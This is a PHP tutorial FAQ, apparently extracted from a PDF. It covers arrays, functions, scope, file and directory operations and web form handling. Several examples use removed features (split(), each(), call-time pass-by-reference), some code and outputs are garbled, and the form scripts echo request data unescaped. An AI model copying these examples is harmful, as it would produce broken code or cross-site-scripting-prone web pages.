How To Use an Array as a Stack? A stack is a simple data structure that manages data elements following the first-in-lastout rule. You use the following two functions together to use an array as a stack:
• •

array_push($array, $value) - Pushes a new value to the end of an array. The value will be added with an integer key like $array[]=$value. array_pop($array) - Remove the last value from the array and returns it.

Here is a PHP script on how to use an array as a queue:
<?php $waitingList = array(); array_push($waitingList, "Jeo"); array_push($waitingList, "Leo"); array_push($waitingList, "Kim"); $next = array_pop($waitingList); array_push($waitingList, "Kia"); $next = array_pop($waitingList); array_push($waitingList, "Sam"); print("Current waiting list:\n"); print_r($waitingList); ?>

This script will print:
Current Array ( [0] [1] [2] ) waiting list: => Jeo => Leo => Sam

How To Randomly Retrieve a Value from an Array? If you have a list of favorite greeting messages, and want to randomly select one of them to be used in an email, you can use the array_rand() function. Here is a PHP example script:
<?php $array = array("Hello!", "Hi!", "Allo!", "Hallo!", "Coucou!"); $key = array_rand($array); print("Random greeting: ".$array[$key]."\n"); ?>

This script will print:
Random greeting: Coucou!

How To Loop through an Array without Using "foreach"? PHP offers the following functions to allow you loop through an array without using the "foreach" statement:
• • • • • • •

reset($array) - Moves the array internal pointer to the first value of the array and returns that value. end($array) - Moves the array internal pointer to the last value in the array and returns that value. next($array) - Moves the array internal pointer to the next value in the array and returns that value. prev($array) - Moves the array internal pointer to the previous value in the array and returns that value. current($array) - Returns the value pointed by the array internal pointer. key($array) - Returns the key pointed by the array internal pointer. each($array) - Returns the key and the value pointed by the array internal pointer as an array and moves the pointer to the next value.

Here is a PHP script on how to loop through an array without using "foreach":
<?php $array = array("Zero"=>"PHP", "One"=>"Perl", "Two"=>"Java"); print("Loop with each():\n"); reset($array); while (list($key, $value) = each($array)) { print("[$key] => $value\n"); } print("\n"); print("Loop with current():\n"); reset($array); while ($value = current($array)) { print("$value\n"); next($array);

} print("\n"); ?>

This script will print:
Loop with each(): [Zero] => PHP [One] => Perl [Two] => Java Loop with current(): PHP Perl Java

How To Create an Array with a Sequence of Integers or Characters? The quickest way to create an array with a sequence of integers or characters is to use the range() function. It returns an array with values starting with the first integer or character, and ending with the second integer or character. Here is a PHP script on how to use range():
<?php print("Integers:\n"); $integers = range(1, 20, 3); print_r($integers); print("\n"); print("Characters:\n"); $characters = range("X", "c"); print_r($characters); print("\n"); ?>

This script will print:
Integers: Array ( [0] => [1] => [2] => [3] => [4] => [5] => [6] => )

1 4 7 10 13 16 19

Characters: Array ( [0] => X

)

[1] => Y [2] => Z [3] => [ [4] => \ [5] => ] [6] => ^ [7] => _ [8] => ` [9] => a [10] => b [11] => c

Of course, you can create an array with a sequence of integers or characters using a loop. But range() is much easier and quicker to use. How To Pad an Array with the Same Value Multiple Times? If you want to add the same value multiple times to the end or beginning of an array, you can use the array_pad($array, $new_size, $value) function. If the second argument, $new_size, is positive, it will pad to the end of the array. If negative, it will pad to the beginning of the array. If the absolute value of $new_size if not greater than the current size of the array, no padding takes place. Here is a PHP script on how to use array_pad():
<?php $array = array("Zero"=>"PHP", "One"=>"Perl", "Two"=>"Java"); $array = array_pad($array, 6, ">>"); $array = array_pad($array, -8, "---"); print("Padded:\n"); print(join(",", array_values($array))); print("\n"); ?>

This script will print:
Padded: ---,---,PHP,Perl,Java,>>,>>,>>

How To Truncate an Array? If you want to remove a chunk of values from an array, you can use the array_splice($array, $offset, $length) function. $offset defines the starting position of the chunk to be removed. If $offset is positive, it is counted from the beginning of the array. If negative, it is counted from the end of the array. array_splice() also returns the removed chunk of values. Here is a PHP script on how to use array_splice():
<?php $array = array("Zero"=>"PHP", "One"=>"Perl", "Two"=>"Java"); $removed = array_splice($array, -2, 2); print("Remaining chunk:\n"); print_r($array);

print("\n"); print("Removed chunk:\n"); print_r($removed); ?>

This script will print:
Remaining chunk: Array ( [Zero] => PHP ) Removed chunk: Array ( [One] => Perl [Two] => Java )

How To Join Multiple Strings Stored in an Array into a Single String? If you multiple strings stored in an array, you can join them together into a single string with a given delimiter by using the implode() function. Here is a PHP script on how to use implode():
<?php $date = array('01', '01', '2006'); $keys = array('php', 'string', 'function'); print("A formated date: ".implode("/",$date)."\n"); print("A keyword list: ".implode(", ",$keys)."\n"); ?>

This script will print:
A formated date: 01/01/2006 A keyword list: php, string, function

How To Split a String into an Array of Substring? There are two functions you can use to split a string into an Array of Substring:
• •

explode(substring, string) - Splitting a string based on a substring. Faster than split(). split(pattern, string) - Splitting a string based on a regular expression pattern. Better than explode() in handling complex cases.

Both functions will use the given criteria, substring or pattern, to find the splitting points in the string, break the string into pieces at the splitting points, and return the pieces in an array. Here is a PHP script on how to use explode() and split():

<?php $list = explode("_","php_strting_function.html"); print("explode() returns:\n"); print_r($list); $list = split("[_.]","php_strting_function.html"); print("split() returns:\n"); print_r($list); ?>

This script will print:
explode() returns: Array ( [0] => php [1] => strting [2] => function.html ) split() returns: Array ( [0] => php [1] => strting [2] => function [3] => html )

The output shows you the power of power of split() with a regular expression pattern as the splitting criteria. Pattern "[_.]" tells split() to split whenever there is a "_" or ".". How To Get the Minimum or Maximum Value of an Array? If you want to get the minimum or maximum value of an array, you can use the min() or max() function. Here is a PHP script on how to use min() and max():
<?php $array = array(5, 7, 6, 2, 1, 3, 4, 2); print("Minimum number: ".min($array)."\n"); print("Maximum number: ".max($array)."\n"); $array = array("Zero"=>"PHP", "One"=>"Perl", "Two"=>"Java"); print("Minimum string: ".min($array)."\n"); print("Maximum string: ".max($array)."\n"); ?>

This script will print:
Minimum Maximum Minimum Maximum number: number: string: string: 1 7 Java Perl

As you can see, min() and max() work for string values too.

How To Define a User Function? You can define a user function anywhere in a PHP script using the function statement like this: "function name() {...}". Here is a PHP script example on how to define a user function:
<?php function msg() { print("Hello world!\n"); } msg(); ?>

This script will print:
Hello world!

How To Invoke a User Function? You can invoke a function by entering the function name followed by a pair of parentheses. If needed, function arguments can be specified as a list of expressions enclosed in parentheses. Here is a PHP script example on how to invoke a user function:
<?php function hello($f) { print("Hello $f!\n"); } hello("Bob"); ?>

This script will print:
Hello Bob!

How To Return a Value Back to the Function Caller? You can return a value to the function caller by using the "return $value" statement. Execution control will be transferred to the caller immediately after the return statement. If there are other statements in the function after the return statement, they will not be executed. Here is a PHP script example on how to return values:
<?php function getYear() { $year = date("Y"); return $year; } print("This year is: ".getYear()."\n"); ?>

This script will print:

This year is: 2006

How To Pass an Argument to a Function? To pass an argument to a function, you need to:
• •

Add an argument definition in the function definition. Add a value as an argument when invoking the function.

Here is a PHP script on how to use arguments in a function():
<?php function f2c($f) { return ($f - 32.0)/1.8; } print("Celsius: ".f2c(100.0)."\n"); print("Celsius: ".f2c(-40.0)."\n"); ?>

This script will print:
Celsius: 37.777777777778 Celsius: -40

How Variables Are Passed Through Arguments? Like more of other programming languages, variables are passed through arguments by values, not by references. That means when a variable is passed as an argument, a copy of the value will be passed into the function. Modipickzyng that copy inside the function will not impact the original copy. Here is a PHP script on passing variables by values:
<?php function swap($a, $b) { $t = $a; $a = $b; $b = $t; } $x = "PHP"; $y = "JSP"; print("Before swapping: $x, $y\n"); swap($x, $y); print("After swapping: $x, $y\n"); ?>

This script will print:
Before swapping: PHP, JSP After swapping: PHP, JSP

As you can see, original variables were not affected.

How To Pass Variables By References? You can pass a variable by reference to a function by taking the reference of the original variable, and passing that reference as the calling argument. Here is a PHP script on how to use pass variables by references:
<?php function swap($a, $b) { $t = $a; $a = $b; $b = $t; } $x = "PHP"; $y = "JSP"; print("Before swapping: $x, $y\n"); swap(&$x, &$y); print("After swapping: $x, $y\n"); ?>

This script will print:
Before swapping: PHP, JSP After swapping: JSP, PHP

As you can see, the function modified the original variable. Note that call-time pass-by-reference has been deprecated. You need to define arguments as references. See next tip for details. Can You Define an Argument as a Reference Type? You can define an argument as a reference type in the function definition. This will automatically convert the calling arguments into references. Here is a PHP script on how to define an argument as a reference type:
<?php function ref_swap(&$a, &$b) { $t = $a; $a = $b; $b = $t; } $x = "PHP"; $y = "JSP"; print("Before swapping: $x, $y\n"); ref_swap($x, $y); print("After swapping: $x, $y\n"); ?>

This script will print:
Before swapping: PHP, JSP

After swapping: JSP, PHP

Can You Pass an Array into a Function? You can pass an array into a function in the same as a normal variable. No special syntax needed. Here is a PHP script on how to pass an array to a function:
<?php function average($array) { $sum = array_sum($array); $count = count($array); return $sum/$count; } $numbers = array(5, 7, 6, 2, 1, 3, 4, 2); print("Average: ".average($numbers)."\n"); ?>

This script will print:
Average: 3.75

How Arrays Are Passed Through Arguments? Like a normal variable, an array is passed through an argument by value, not by reference. That means when an array is passed as an argument, a copy of the array will be passed into the function. Modipickzyng that copy inside the function will not impact the original copy. Here is a PHP script on passing arrays by values:
<?php function shrink($array) { array_splice($array,1); } $numbers = array(5, 7, 6, 2, 1, 3, 4, 2); print("Before shrinking: ".join(",",$numbers)."\n"); shrink($numbers); print("After shrinking: ".join(",",$numbers)."\n"); ?>

This script will print:
Before shrinking: 5,7,6,2,1,3,4,2 After shrinking: 5,7,6,2,1,3,4,2

As you can see, original variables were not affected. How To Pass Arrays By References? Like normal variables, you can pass an array by reference into a function by taking a reference of the original array, and passing the reference to the function. Here is a PHP script on how to pass array as reference:

<?php function shrink($array) { array_splice($array,1); } $numbers = array(5, 7, 6, 2, 1, 3, 4, 2); print("Before shrinking: ".join(",",$numbers)."\n"); shrink(&$numbers); print("After shrinking: ".join(",",$numbers)."\n"); ?>

This script will print:
Before shrinking: 5,7,6,2,1,3,4,2 After shrinking: 5

Note that call-time pass-by-reference has been deprecated. You need to define arguments as references. See next tip for details. Can You Define an Array Argument as a Reference Type? You can define an array argument as a reference type in the function definition. This will automatically convert the calling arguments into references. Here is a PHP script on how to define an array argument as a reference type:
<?php function ref_shrink(&$array) { array_splice($array,1); } $numbers = array(5, 7, 6, 2, 1, 3, 4, 2); print("Before shrinking: ".join(",",$numbers)."\n"); ref_shrink($numbers); print("After shrinking: ".join(",",$numbers)."\n"); ?>

This script will print:
BBefore shrinking: 5,7,6,2,1,3,4,2 After shrinking: 5

How To Return an Array from a Function? You can return an array variable like a normal variable using the return statement. No special syntax needed. Here is a PHP script on how to return an array from a function:
<?php function powerBall() { $array = array(rand(1,55), rand(1,55), rand(1,55), rand(1,55), rand(1,55), rand(1,42)); return $array; } $numbers = powerBall(); print("Lucky numbers: ".join(",",$numbers)."\n");

?>

This script will print:
Lucky numbers: 35,24,15,7,26,15

If you like those nummers, take them to buy a PowerBall ticket. What Is the Scope of a Variable Defined in a Function? The scope of a local variable defined in a function is limited with that function. Once the function is ended, its local variables are also removed. So you can not access any local variable outside its defining function. Here is a PHP script on the scope of local variables in a function:
<?php ?> function myPassword() { $password = "U8FIE8W0"; print("Defined inside the function? ". isset($password)."\n"); } myPassword(); print("Defined outside the function? ". isset($password)."\n"); ?>

This script will print:
Defined inside the function? 1 Defined outside the function?

What Is the Scope of a Variable Defined outside a Function? A variable defined outside any functions in main script body is called global variable. However, a global variable is not really accessible globally any in the script. The scope of global variable is limited to all statements outside any functions. So you can not access any global variables inside a function. Here is a PHP script on the scope of global variables:
<?php ?> $login = "pickzycenter"; function myLogin() { print("Defined inside the function? ". isset($login)."\n"); } myLogin(); print("Defined outside the function? ". isset($login)."\n"); ?>

This script will print:

Defined inside the function? Defined outside the function? 1

How To Access a Global Variable inside a Function? By default, global variables are not accessible inside a function. However, you can make them accessible by declare them as "global" inside a function. Here is a PHP script on declaring "global" variables:
<?php ?> $intRate = 5.5; function myAccount() { global $intRate; print("Defined inside the function? ". isset($intRate)."\n"); } myAccount(); print("Defined outside the function? ". isset($intRate)."\n"); ?>

This script will print:
Defined inside the function? 1 Defined outside the function? 1

How Values Are Returned from Functions? If a value is returned from a function, it is returned by value, not by reference. That means that a copy of the value is return. Here is a PHP script on how values are returned from a function:
<?php $favor = "vbulletin"; function getFavor() { global $favor; return $favor; } $myFavor = getFavor(); print("Favorite tool: $myFavor\n"); $favor = "phpbb"; print("Favorite tool: $myFavor\n"); ?>

This script will print:
Favorite tool: vbulletin Favorite tool: vbulletin

As you can see, changing the value in $favor does not affect $myFavor. This proves that the function returns a new copy of $favor.

How To Return a Reference from a Function? To return a reference from a function, you need to:
• •

Add the reference operator "&" when defining the function. Add the reference operator "&" when invoking the function.

Here is a PHP script on how to return a reference from a function:
<?php $favor = "vbulletin"; function &getFavorRef() { global $favor; return $favor; } $myFavor = &getFavorRef(); print("Favorite tool: $myFavor\n"); $favor = "phpbb"; print("Favorite tool: $myFavor\n"); ?>

This script will print:
Favorite tool: vbulletin Favorite tool: phpbb

As you can see, changing the value in $favor does affect $myFavor, because $myFavor is a reference to $favor. How To Specify Argument Default Values? If you want to allow the caller to skip an argument when calling a function, you can define the argument with a default value when defining the function. Adding a default value to an argument can be done like this "function name($arg=expression){}. Here is a PHP script on how to specify default values to arguments:
<?php function printKey($key="download") { print("PHP $key\n"); } printKey(); printKey("hosting"); print("\n"); ?>

This script will print:
PHP download PHP hosting

How To Define a Function with Any Number of Arguments? If you want to define a function with any number of arguments, you need to:
• • •

Declare the function with no argument. Call func_num_args() in the function to get the number of the arguments. Call func_get_args() in the function to get all the arguments in an array.

Here is a PHP script on how to handle any number of arguments:
<?php function myAverage() { $count = func_num_args(); $args = func_get_args(); $sum = array_sum($args); return $sum/$count; } $average = myAverage(102, 121, 105); print("Average 1: $average\n"); $average = myAverage(102, 121, 105, 99, 101, 110, 116, 101, 114); print("Average 2: $average\n"); ?>

This script will print:
Average 1: 109.33333333333 Average 2: 107.66666666667

How To Read a Text File into an Array? If you have a text file with multiple lines, and you want to read those lines into an array, you can use the file() function. It opens the specified file, reads all the lines, puts each line as a value in an array, and returns the array to you. Here is a PHP script example on how to use file():
<?php $lines = file("/windows/system32/drivers/etc/services"); foreach ($lines as $line) { $line = rtrim($line); print("$line\n"); # more statements... } ?>

This script will print:
# This file contains port numbers for well-known services echo ftp telnet 7/tcp 21/tcp 23/tcp

smtp ...

25/tcp

Note that file() breaks lines right after the new line character "\n". Each line will contain the "\n" at the end. This is why we suggested to use rtrime() to remove "\n". Also note that, if you are on Unix system, your Internet service file is located at "/etc/services". How To Read the Entire File into a Single String? If you have a file, and you want to read the entire file into a single string, you can use the file_get_contents() function. It opens the specified file, reads all characters in the file, and returns them in a single string. Here is a PHP script example on how to file_get_contents():
<?php $file = file_get_contents("/windows/system32/drivers/etc/services"); print("Size of the file: ".strlen($file)."\n"); ?>

This script will print:
Size of the file: 7116

How To Open a File for Reading? If you want to open a file and read its contents piece by piece, you can use the fopen($fileName, "r") function. It opens the specified file, and returns a file handle. The second argument "r" tells PHP to open the file for reading. Once the file is open, you can use other functions to read data from the file through this file handle. Here is a PHP script example on how to use fopen() for reading:
<?php $file = fopen("/windows/system32/drivers/etc/hosts", "r"); print("Type of file handle: " . gettype($file) . "\n"); print("The first line from the file handle: " . fgets($file)); fclose($file); ?>

This script will print:
Type of file handle: resource The first line from the file handle: # Copyright (c) 1993-1999

Note that you should always call fclose() to close the opened file when you are done with the file. How To Open a File for Writing?

If you want to open a new file and write date to the file, you can use the fopen($fileName, "w") function. It creates the specified file, and returns a file handle. The second argument "w" tells PHP to open the file for writing. Once the file is open, you can use other functions to write data to the file through this file handle. Here is a PHP script example on how to use fopen() for writing:
<?php $file = fopen("/temp/todo.txt", "w"); fwrite($file,"Download PHP scripts at dev.pickzycenter.com.\r\n"); fclose($file); ?>

This script will write the following to the file:
Download PHP scripts at dev.pickzycenter.com.

Note that you should use "\r\n" to terminate lines on Windows. On a Unix system, you should use "\n". How To Append New Data to the End of a File? If you have an existing file, and want to write more data to the end of the file, you can use the fopen($fileName, "a") function. It opens the specified file, moves the file pointer to the end of the file, and returns a file handle. The second argument "a" tells PHP to open the file for appending. Once the file is open, you can use other functions to write data to the file through this file handle. Here is a PHP script example on how to use fopen() for appending:
<?php $file = fopen("/temp/cgi.log", "a"); fwrite($file,"Remote host: 64.233.179.104.\r\n"); fclose($file); $file = fopen("/temp/cgi.log", "a"); fwrite($file,"Query string: cate=102&order=down〈=en.\r\n"); fclose($file); ?>

This script will write the following to the file:
Remote host: 64.233.179.104. Query string: cate=102&order=down〈=en.

As you can see, file cgi.log opened twice by the script. The first call of fopen() actually created the file. The second call of fopen() opened the file to allow new data to append to the end of the file. How To Read One Line of Text from a File?

If you have a text file with multiple lines, and you want to read those lines one line at a time, you can use the fgets() function. It reads the current line up to the "\n" character, moves the file pointer to the next line, and returns the text line as a string. The returning string includes the "\n" at the end. Here is a PHP script example on how to use fgets():
<?php $file = fopen("/windows/system32/drivers/etc/services", "r"); while ( ($line=fgets($file)) !== false ) { $line = rtrim($line); print("$line\n"); # more statements... } fclose($file); ?>

This script will print:
# This file contains port numbers for well-known services echo ftp telnet smtp ... 7/tcp 21/tcp 23/tcp 25/tcp

Note that rtrim() is used to remove "\n" from the returning string of fgets(). How To Read One Character from a File? If you have a text file, and you want to read the file one character at a time, you can use the fgetc() function. It reads the current character, moves the file pointer to the next character, and returns the character as a string. If end of the file is reached, fgetc() returns Boolean false. Here is a PHP script example on how to use fgetc():
<?php $file = fopen("/windows/system32/drivers/etc/services", "r"); $count = 0; while ( ($char=fgetc($file)) !== false ) { if ($char=="/") $count++; } fclose($file); print("Number of /: $count\n"); ?>

This script will print:
Number of /: 113

Note that rtrim() is used to remove "\n" from the returning string of fgets(). What's Wrong with "while ($c=fgetc($f)) {}"?

If you are using "while ($c=fgetc($f)) {}" to loop through each character in a file, the loop may end in the middle of the file when there is a "0" character, because PHP treats "0" as Boolean false. To properly loop to the end of the file, you should use "while ( ($c=fgetc($f)) !== false ) {}". Here is a PHP script example on incorrect testing of fgetc():
<?php $file = fopen("/temp/cgi.log", "w"); fwrite($file,"Remote host: 64.233.179.104.\r\n"); fwrite($file,"Query string: cate=102&order=down〈=en.\r\n"); fclose($file); $file = fopen("/temp/cgi.log", "r"); while ( ($char=fgetc($file)) ) { print($char); } fclose($file); ?>

This script will print:
Remote host: 64.233.179.1

As you can see the loop indeed stopped at character "0". How To Read a File in Binary Mode? If you have a file that stores binary data, like an executable program or picture file, you need to read the file in binary mode to ensure that none of the data gets modified during the reading process. You need to:
• •

Open the file with fopen($fileName, "rb"). Read data with fread($fileHandle,$length).

Here is a PHP script example on reading binary file:
<?php $in = fopen("/windows/system32/ping.exe", "rb"); $out = fopen("/temp/myPing.exe", "w"); $count = 0; while (!feof($in)) { $count++; $buffer = fread($in,64); fwrite($out,$buffer); } fclose($out); fclose($in); print("About ".($count*64)." bytes read.\n"); ?>

This script will print:

About 16448 bytes read.

This script actually copied an executable program file ping.exe in binary mode to new file. The new file should still be executable. Try it: \temp\myping dev.pickzycenter.com. How To Write a String to a File with a File Handle? If you have a file handle linked to a file opened for writing, and you want to write a string to the file, you can use the fwrite() function. It will write the string to the file where the file pointer is located, and moves the file pointer to the end of the string. Here is a PHP script example on how to use fwrite():
<?php $file = fopen("/temp/todo.txt", "w"); fwrite($file,"Download PHP scripts at dev.pickzycenter.com.\r\n"); fwrite($file,"Download Perl scripts at dev.pickzycenter.com.\r\n"); fclose($file); ?>

This script will write the following to the file:
Download PHP scripts at dev.pickzycenter.com. Download Perl scripts at dev.pickzycenter.com.

How To Write a String to a File without a File Handle? If you have a string, want to write it to a file, and you don't want to open the file with a file handle, you can use the file_put_contents(). It opens the specified file, writes the specified string, closes the file, and returns the number of bytes written. Here is a PHP script example on how to use file_put_contents():
<?php $string = "Download PHP scripts at dev.pickzycenter.com.\r\n"; $string .= "Download Perl scripts at dev.pickzycenter.com.\r\n"; $bytes = file_put_contents("/temp/todo.txt", $string); print("Number of bytes written: $bytes\n"); ?>

This script will print:
Number of bytes written: 89

If you look at the file todo.txt, it will contain:
Download PHP scripts at dev.pickzycenter.com. Download Perl scripts at dev.pickzycenter.com.

How To Write an Array to a File without a File Handle?

If you have an array, want to write it to a file, and you don't want to open the file with a file handle, you can use the file_put_contents(). It opens the specified file, writes all values from the specified string, closes the file, and returns the number of bytes written. Here is a PHP script example on how to use file_put_contents():
<?php $array["one"] = "Download PHP scripts at dev.pickzycenter.com.\r\n"; $array["two"] = "Download Perl scripts at dev.pickzycenter.com.\r\n"; $bytes = file_put_contents("/temp/todo.txt", $array); print("Number of bytes written: $bytes\n"); ?>

This script will print:
Number of bytes written: 89

If you look at the file todo.txt, it will contain:
Download PHP scripts at dev.pickzycenter.com. Download Perl scripts at dev.pickzycenter.com.

How To Read Data from Keyborad (Standard Input)? If you want to read data from the standard input, usually the keyboard, you can use the fopen("php://stdin") function. It creates a special file handle linking to the standard input, and returns the file handle. Once the standard input is opened to a file handle, you can use fgets() to read one line at a time from the standard input like a regular file. Remember fgets() also includes "\n" at the end of the returning string. Here is a PHP script example on how to read from standard input:
<?php $stdin = fopen("php://stdin", "r"); print("What's your name?\n"); $name = fgets($stdin); print("Hello $name!\n"); fclose($stdin); ?>

This script will print:
What's your name? Leo Hello Leo !

"!" is showing on the next line, because $name includes "\n" returned by fgets(). You can use rtrim() to remove "\n". If you are using your script in a Web page, there is no standard input.

If you don't want to open the standard input as a file handle yourself, you can use the constant STDIN predefined by PHP as the file handle for standard input. How To Open Standard Output as a File Handle? If you want to open the standard output as a file handle yourself, you can use the fopen("php://stdout") function. It creates a special file handle linking to the standard output, and returns the file handle. Once the standard output is opened to a file handle, you can use fwrite() to write data to the starndard output like a regular file. Here is a PHP script example on how to write to standard output:
<?php $stdout = fopen("php://stdout", "w"); fwrite($stdout,"To do:\n"); fwrite($stdout,"Looking for PHP hosting provider!\n"); fclose($stdout); ?>

This script will print:
What's your name? To do: Looking for PHP hosting provider!

If you don't want to open the standard output as a file handle yourself, you can use the constant STDOUT predefined by PHP as the file handle for standard output. If you are using your script in a Web page, standard output is merged into the Web page HTML document. print() and echo() also writes to standard output. How To Create a Directory? You can use the mkdir() function to create a directory. Here is a PHP script example on how to use mkdir():
<?php if (file_exists("/temp/download")) { print("Directory already exists.\n"); } else { mkdir("/temp/download"); print("Directory created.\n"); } ?>

This script will print:
Directory created.

If you run this script again, it will print:
Directory already exists.

How To Remove an Empty Directory? If you have an empty existing directory and you want to remove it, you can use the rmdir(). Here is a PHP script example on how to use rmdir():
<?php if (file_exists("/temp/download")) { rmdir("/temp/download"); print("Directory removed.\n"); } else { print("Directory does not exist.\n"); } ?>

This script will print:
Directory removed.

If you run this script again, it will print:
Directory does not exist.

How To Remove a File? If you want to remove an existing file, you can use the unlink() function. Here is a PHP script example on how to use unlink():
<?php if (file_exists("/temp/todo.txt")) { unlink("/temp/todo.txt"); print("File removed.\n"); } else { print("File does not exist.\n"); } ?>

This script will print:
File removed.

If you run this script again, it will print:
File does not exist.

How To Copy a File?

If you have a file and want to make a copy to create a new file, you can use the copy() function. Here is a PHP script example on how to use copy():
<?php unlink("/temp/myPing.exe"); copy("/windows/system32/ping.exe", "/temp/myPing.exe"); if (file_exists("/temp/myPing.exe")) { print("A copy of ping.exe is created.\n"); } ?>

This script will print:
A copy of ping.exe is created.

How To Dump the Contents of a Directory into an Array? If you want to get the contents of a directory into an array, you can use the scandir() function. It gets a list of all the files and sub directories of the specified directory and returns the list as an array. The returning list also includes two specify entries: (.) and (..). Here is a PHP script example on how to use scandir():
<?php mkdir("/temp/download"); $array["one"] = "Download PHP scripts at dev.pickzycenter.com.\r\n"; $array["two"] = "Download Perl scripts at dev.pickzycenter.com.\r\n"; $bytes = file_put_contents("/temp/download/todo.txt", $array); $files = scandir("/temp/download"); print_r($files); ?>

This script will print:
Array ( [0] => . [1] => .. [2] => todo.txt )

How To Read a Directory One Entry at a Time? If you want to read a directory one entry at a time, you can use opendir() to open the specified directory to create a directory handle, then use readdir() to read the directory contents through the directory handle one entry at a time. readdir() returns the current entry located by the directory pointer and moves the pointer to the next entry. When end of directory is reached, readdir() returns Boolean false. Here is a PHP script example on how to use opendir() and readdir():
<?php mkdir("/temp/download");

$array["one"] = "Download PHP scripts at dev.pickzycenter.com.\r\n"; $array["two"] = "Download Perl scripts at dev.pickzycenter.com.\r\n"; $bytes = file_put_contents("/temp/download/todo.txt", $array); print("List of files:\n"); $dir = opendir("/temp/download"); while ( ($file=readdir($dir)) !== false ) { print("$file\n"); } closedir($dir); ?>

This script will print:
List of files: . .. todo.txt

How To Get the Directory Name out of a File Path Name? If you have the full path name of a file, and want to get the directory name portion of the path name, you can use the dirname() function. It breaks the full path name at the last directory path delimiter (/) or (\), and returns the first portion as the directory name. Here is a PHP script example on how to use dirname():
<?php $pathName = "/temp/download/todo.txt"; $dirName = dirname($pathName); print("File full path name: $pathName\n"); print("File directory name: $dirName\n"); print("\n"); ?>

This script will print:
File full path name: /temp/download/todo.txt File directory name: /temp/download

How To Break a File Path Name into Parts? If you have a file name, and want to get different parts of the file name, you can use the pathinfo() function. It breaks the file name into 3 parts: directory name, file base name and file extension; and returns them in an array. Here is a PHP script example on how to use pathinfo():
<?php $pathName = "/temp/download/todo.txt"; $parts = pathinfo($pathName); print_r($parts); print("\n"); ?>

This script will print:
Array ( [dirname] => /temp/download [basename] => todo.txt [extension] => txt )

How To Create a Web Form? If you take input data from visitors on your Web site, you can create a Web form with input fields to allow visitors to fill in data and submit the data to your server for processing. A Web form can be created with the <FORM> tag with some input tags. The &FORM tag should be written in the following format:
<form action=processing.php method=get/post> ...... </form>

Where "processing.php" specifies the PHP page that processes the submitted data in the form. What Are Form Input HTML Tags? HTML tags that can be used in a form to collect input data are:
• • • • • •

<SUBMIT ...> - Displayed as a button allow users to submit the form. <INPUT TYPE=TEXT ...> - Displayed as an input field to take an input string. <INPUT TYPE=RADIO ...> - Displayed as a radio button to take an input flag. <INPUT TYPE=CHECKBOX ...> - Displayed as a checkbox button to take an input flag. <SELECT ...> - Displayed as a dropdown list to take input selection. <TEXTAREA ...> - Displayed as an input area to take a large amount of input text.

How To Generate a Form? Generating a form seems to be easy. You can use PHP output statements to generate the required <FORM> tag and other input tags. But you should consider to organized your input fields in a table to make your form looks good on the screen. The PHP script below shows you a good example of HTML forms:
<?php print("<html><form action=processing_forms.php method=post>"); print("<table><tr><td colspan=2>Please enter and submit your" ." comments about PICKZYCenter.com:</td></tr>"); print("<tr><td>Your Name:</td>" ."<td><input type=text name=name></td></tr>\n");

print("<tr><td>Comments:</td>" ."<td><input type=text name=comment></td></tr>\n"); print("<tr><td colspan=2><input type=submit><td></tr></table>\n"); print("</form></html>\n"); ?>

If you save this script as a PHP page, submit_comments.php, on your Web site, and view this page, you will see a simple Web form. Where Is the Submitted Form Data Stored? When a user submit a form on your Web server, user entered data will be transferred to the PHP engine, which will make the submitted data available to your PHP script for processing in pre-defined arrays:
• • •

$_GET - An associate array that store form data submitted with the GET method. $_POST - An associate array that store form data submitted with the POST method. $_REQUEST - An associate array that store form data submitted with either GET or POST method. $_REQUEST also contains the cookie values received back from the browser.

How To Retrieve the Submitted Form Data? The best way to retrieve the form data submitted by your visitor is to use the $_REQUEST array. The keys in this array will be the field names defined in form. The values in this array will be the values entered by your visitor in the input fields. The PHP script below, processing_forms.php, shows you how to retrieve form data submitted with the PHP page presented in the previous tutorial exercise:
<?php $name = $_REQUEST['name']; $comment = $_REQUEST['comment']; print("<html><pre>"); print("You have submitted the following information:\n"); print(" Name = $name\n"); print(" Comments = $comment\n"); print("Thank you!\n"); print("</pre></html>\n"); ?>

If you copy both scripts, submit_comments.php and processing_forms.php, to your Web server, and submit some data like: "Bill Bush" and "Nice site.", you will get something like:
You have submitted the following information: Name = Bill Bush Comments = Nice site.

What Happens If an Expected Input Field Was Not Submitted? Obviously, if an expected input field was not submitted, there will no entry in the $_REQUEST array for that field. You may get an execution error, if you are not checking the existence of the expected entries in $_REQUEST. For example, if you copy processing_forms.php to your local Web server, and run your browser with http://localhost/processing_forms.php?name=Joe, you will an error page like this:
You have submitted the following information: Name = Joe Comments = Thank you! PHP Notice: Undefined index: comment in ...\processing_forms.php on line 3

How To Avoid the Undefined Index Error? If you don't want your PHP page to give out errors as shown in the previous exercise, you should consider checking all expected input fields in $_REQUEST with the isset() function as shown in the example script below:
<?php if (isset($_REQUEST['name'])) { $name = $_REQUEST['name']; } else { $name = ""; } if (isset($_REQUEST['comment'])) { $comment = $_REQUEST['comment']; } else { $comment = ""; } print("<html><pre>"); print("You have submitted the following information:\n"); print(" Name = $name\n"); print(" Comments = $comment\n"); print("Thank you!\n"); print("</pre></html>\n"); ?>

How To List All Values of Submitted Fields? If you want list all values of submitted fields, you can write a simple loop to retrieve all entries in the $_REQUEST array. Below is an improved version of processing_forms.php to list all submited input values:
<?php print("<html><pre>"); $count = count($_REQUEST); print("Number of values: $count\n"); foreach ($_REQUEST as $key=>$value) {

?>

print(" $key = $value\n"); } print("</pre></html>\n");

If you test this with submit_comments.php on your Web server, you will get something like:
Number of values: 2 name = Pickzy Center comment = Good job.

What Are the Input Values of SELECT Tags? SELECT tags are used in forms to provide dropdown lists. Entris in a dropdown list are defined by OPTION tags, which can provide input values in two ways:

Implicit value - Provided as <OPTION>input_value</OPTION>, where input_value will be used as both the dropdown entry and the input value if this entry is selected. Explicit value - Provided as <OPTION VALUE=input_value>display_value</OPTION>, where display_value will be used as the download entry, and input_value will be used as the input value if this entry is selected.

The sample PHP script page below is a modified version of submit_comments.php that has one SELECT tag named as "job" using implicit input values and another SELECT tag named s "site" using explicit input values:
